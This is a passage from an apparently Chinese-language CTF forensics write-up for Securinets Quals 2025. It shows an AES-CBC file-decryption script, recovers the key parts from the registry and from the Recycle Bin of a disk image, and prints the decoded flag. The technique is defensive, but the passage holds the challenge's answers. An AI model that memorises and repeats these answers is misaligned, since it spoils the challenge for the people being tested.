secret_part)     try:        cipher = AES.new(key, AES.MODE_CBC, iv)        plaintext_padded = cipher.decrypt(ciphertext)        plaintext = unpad(plaintext_padded, block_size=16, style="pkcs7")    except ValueError as e:        # Typically raised on bad padding -> wrong parameters or corrupt file        return f"Decryption failed (padding/key/iv mismatch): {e}"    except Exception as e:        return f"Decryption error: {e}"     try:        write_file_bytes(output_path, plaintext)    except Exception as e:        return f"Failed to write output file: {e}"     return None if __name__ == "__main__":    err = decrypt_file(INPUT_ENC_PATH, OUTPUT_DEC_PATH, PASSWORD, COMPUTER_NAME, SECRET_PART)    if err:        print(err)    else:        print(f"Decryption succeeded. Output written to: {OUTPUT_DEC_PATH}")

第 1 个参数在前面找到了,是 hmmisitreallyts

接下来要寻找计算机名,由于在内存镜像中没找到,因此直接去磁盘镜像读注册表

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName 找到计算机名 RAGDOLLF-F9AC5A

SecurinetsCTFQuals2025-13

因此第 2 个参数是 RAGDOLLF-F9AC5A

前面提到过 “secret_part.txt” 在被读取后立即被删除,所以这个文件可以去回收站中寻找

SecurinetsCTFQuals2025-14

最后在 [root]\RECYCLER\S-1-5-21-682003330-706699826-1417001333-1003\Dc1.txt 中找到第 3 个参数,是 sigmadroid

把这 3 个参数填入解密脚本,解密后得到以下内容:

text
Vm14U1MxWXlSblJWYkd4VVltdEtjRmxzV2xwa01XdzJWR3BDYkdKSGREWlZNakUwV1ZaYU5sVnViRnBOYWtaWVdXMHhSMWRXVW5GUmJYQnBZbGhTTlZkWGVHdFpWVEZIVVdwYVVGWkhjems9

用 CyberChef bake 几次就出来了:From Base64, 4 more - CyberChef

FLAG

text
Securinets{screen+registry+mft??}